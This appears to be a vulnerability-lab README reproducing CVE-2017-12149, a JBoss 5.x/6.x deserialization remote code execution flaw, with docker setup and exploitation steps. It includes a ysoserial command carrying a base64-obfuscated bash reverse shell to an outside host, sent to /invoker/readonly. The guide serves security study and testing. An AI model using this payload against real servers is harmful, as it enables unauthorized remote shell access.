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jboss/CVE-2017-12149/README.md
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jboss/CVE-2017-12149/README.md
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# JBoss 5.x/6.x Deserialization Remote Code Execution (CVE-2017-12149)
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[中文版本(Chinese version)](README.zh-cn.md)
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Red Hat JBoss Application Server is a JavaEE-based open source application server. In JBoss AS 5.x/6.x, the ReadOnlyAccessFilter filter in the HttpInvoker component attempts to deserialize data streams from clients without performing any security checks, resulting in a deserialization vulnerability.
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References:
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- https://mp.weixin.qq.com/s/zUJMt9hdGoz1TEOKy2Cgdg
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- https://access.redhat.com/security/cve/cve-2017-12149
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## Environment Setup
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Run the following command to start the JBoss AS 6.1.0:
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```
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docker compose up -d
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```
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The initial setup will take 1-3 minutes. After initialization is complete, visit `http://your-ip:8080/` to see the JBoss default page.
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## Vulnerability Reproduce
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The vulnerability exists in the `/invoker/readonly` request, where the server performs Java deserialization on the POST content submitted by users:
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Therefore, we can use conventional Java deserialization vulnerability testing methods to reproduce this vulnerability.
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### Generate reverse shell payload
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We use bash for the reverse shell, but since `Runtime.getRuntime().exec()` cannot use pipe operators and other bash methods directly, we need to encode it first.
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Tool: http://www.jackson-t.ca/runtime-exec-payloads.html
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### Generate serialized data
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We use [ysoserial](https://github.com/frohoff/ysoserial) to generate the serialized data. Since Vulhub uses a newer version of Java, we choose the CommonsCollections5 gadget:
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```
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java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS8yMSAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser
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```
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### Send the POC
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The generated POC is poc.ser. Simply send this file as the POST Body to /invoker/readonly:
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Successfully obtained reverse shell:
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